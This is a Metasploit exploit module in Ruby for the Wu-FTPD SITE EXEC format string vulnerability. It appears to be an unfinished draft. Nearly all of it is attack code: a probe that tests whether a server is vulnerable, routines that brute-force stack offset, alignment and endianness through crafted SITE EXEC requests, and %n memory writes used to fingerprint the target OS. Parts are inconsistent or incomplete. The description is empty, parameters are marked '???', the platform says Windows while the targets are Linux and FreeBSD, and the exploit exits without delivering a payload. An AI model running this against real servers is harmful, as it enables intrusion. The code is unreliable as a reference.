metasploit-framework/modules/exploits/multi/ftp/wuftpd_site_exec.rb

283 lines
6.5 KiB
Ruby

require 'msf/core'
module Msf
class Exploits::Multi::Ftp::WuFTPD_SITE_EXEC < Msf::Exploit::Remote
include Exploit::Remote::Ftp
def initialize(info = {})
super(update_info(info,
'Name' => 'Wu-FTPD SITE EXEC format string exploit',
'Description' => %q{
},
'Author' => [ 'vlad902' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'BID', '1387'],
],
'Privileged' => false, # ???
'Payload' =>
{
'Space' => 1024, # ???
'BadChars' => "\x00\x20\x0a\x0d\x25\xff", # ???
},
'Targets' =>
[
[
'Automatic',
{
'Platform' => 'win'
},
],
],
'DisclosureDate' => '',
'DefaultTarget' => 0))
end
def check
connect_login
buf = send_cmd( ['SITE EXEC', "\xff\x00|%.50d|"])
disconnect
if buf =~ /^200-\|\d{50,50}\|/
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
MAX_FTPD_SIZE = 500
#
# fmt_step + 2s should be fmt_step + 1?
#
def exploit
# Begin != 0
@fmt_begin, @fmt_end = 300, 1300
(@fmt_step, @fmt_rep) = findsteprep(@fmt_begin, @fmt_end, MAX_FTPD_SIZE, 4) { |min, step|
# Why 2?
sprintf("%%%i\$x..", min + step)
}[2]
print_status "FmtStep: #{@fmt_step}"
print_status "FmtRep: #{@fmt_rep}"
os_db =
[
[ 'Linux / ia32', 'V', 0xc0000000, 0x80480000 ],
[ 'FreeBSD / ia32', 'V', 0xbfc00000, 0x80480000 ],
]
connect_login
brute_offset
os_db.delete_if { |x| x[1] != @endian }
print_status "Possible targets:"
os_db.each { |x| print_status " #{x[0]}" }
# Try the stack tops of operating systems that have so far survived the endianness cut-off
# to further determine what they are.
os_db.each { |os|
stacktop = os[2];
str = 'e' * @fmt_align + parse_address(stacktop - 4)
begin
# SITE EXEC eeBFFFFFFC%.5u%1196$n
send_cmd(['SITE EXEC', sprintf("%s%%.%iu%%%i\$n", str, rand(0x130) + 1, @fmt_offset)])
rescue
print_status "Trying 0x#{sprintf('%.8x', stacktop)} (#{os[0]})... Failed"
connect_login(true, false)
else
print_status "Trying 0x#{sprintf('%.8x', stacktop)} (#{os[0]})... Success"
os_db.delete_if { |x| x[2] != stacktop }
break
end
}
print_status "Possible targets:"
os_db.each { |x| print_status " #{x[0]}" }
exit
end
def parse_address(addr)
str = ""
# XXX: endian problems!
while addr != 0
if (addr & 0xff) == 0xff || (addr & 0xff) == 0x25
str += (addr & 0xff).chr
end
str += (addr & 0xff).chr
addr >>= 8
end
return str
end
def make_buf(prefix, postfix, base, rep, step, char, seperator=[])
request = prefix
0.upto(rep - 1) { |counter|
request += sprintf("%%%i\$%s", base + (counter * step), char)
if seperator.length > 0
request += seperator[rand(seperator.length).floor]
end
}
if seperator.length > 0
request.chop!
end
request += postfix
if request.length > MAX_FTPD_SIZE
print_status "#{request.inspect} (#{request.length}) is longer then #{MAX_FTPD_SIZE}!"
end
return request
end
#
# Determine alignment and offset on the stack.
#
def brute_offset
counter, counter_start, rep = @fmt_begin, 0, []
@endian = nil
ret = []
while counter < @fmt_end
str = Rex::Text::pattern_create((@fmt_step + 2) * 4, ["ABCDEF", "GHIJKLMNOPQRSTU", "VWX", "YZzyxwv"])
# seperator = ("\xd5".."\xfe").to_a
seperator = [ "|" ]
# XXX: Properly handle getting both replies
reply = send_cmd(['SITE EXEC', make_buf(str, "", counter, @fmt_rep, @fmt_step, "x", seperator)], true)
self.sock.get_once
reply.slice!(0..(str.length + 3)) # 200-#{str}
reply.chomp!.chomp! # \r\n
db = reply.split(seperator.join)
# Find possible hits...
db.each_index { |idx|
blk = db[idx]
next if blk.length != 8
str1 = blk.unpack("A2A2A2A2").collect {|x|x.hex}.pack("C4") # Big Endian
str2 = str1.reverse # Little Endian
align = -1
loop {
align = str.index(str1, align + 1)
break if !align
ret.push [counter, idx, align]
@endian = 'N'
}
align = -1
loop {
align = str.index(str2, align + 1)
break if !align
ret.push [counter, idx, align]
@endian = 'V'
}
}
counter += @fmt_step * @fmt_rep
end
@fmt_align = ret[0][2] % 4
@fmt_offset = ret[0][0] + (ret[0][1] * @fmt_step) - ((ret[0][2] - @fmt_align) / 4)
#
# If we receieved mutliple possible results re-scan them to find one that works.
#
if ret.length > 1
# XXX: Sub-optimal, put all in one request
print_status "#{ret.length} results received"
@endian = nil
ret.each { |ret|
@fmt_align = ret[2] % 4
@fmt_offset = ret[0] + (ret[1] * @fmt_step) - ((ret[2] - @fmt_align) / 4)
# XXX: Properly handle getting both replies
reply = send_cmd(['SITE EXEC', "a" * @fmt_align + sprintf("ABCD%%%i\$x", @fmt_offset)])
self.sock.get_once
if reply =~ /44434241/
@endian = 'V'
break
elsif reply =~ /41424344/
@endian = 'N'
break
end
}
if !@endian
print_status "No results succeeded!"
end
end
print_status "Align: #{@fmt_align}"
print_status "Offset: #{@fmt_offset}"
if @endian.eql?('N')
print_status "Big endian"
else
print_status "Little endian"
end
end
#
# Returns 3 values:
# 1) Highest step and highest rep possible
# 2) Step and rep combination that cover the most space
# 3) Step and rep combination that cover the least space over max_size
#
def findsteprep(min, max, max_size, step_len)
size = max - min
lowest = size
step_high = rep_high = hit_high = hit_low = 0
hit_step_high = hit_step_low = hit_rep_high = hit_rep_low = 0
1.upto(size - 1) { |step|
# + 1 for the ending delimeter being cut off
temp_len = max_size - ((step + 2) * step_len) + 1
temp, rep = 0, -1
while temp < temp_len
temp += yield(min, step * (rep + 1)).length
rep += 1
end
break if rep <= 0
temp = (size.to_f / (step.to_f * rep.to_f)).to_i
step_high = [step, step_high].max
rep_high = [rep, rep_high].max
if temp < lowest
lowest = temp
hit_step_low = step
hit_rep_low = rep
hit_low = step * rep
end
if step * rep > hit_high
hit_step_high = step
hit_rep_high = rep
hit_high = step * rep
end
}
hit_step_low.downto(1) { |step|
hit_rep_low.downto(1) { |rep|
if (size.to_f / (step.to_f * rep.to_f)).to_i == lowest &&
step * rep < hit_low
hit_step_low = step
hit_rep_low = rep
hit_low = step * rep
end
}
}
return [[step_high, rep_high], [hit_step_high, hit_rep_high], [hit_step_low, hit_rep_low]]
end
end
end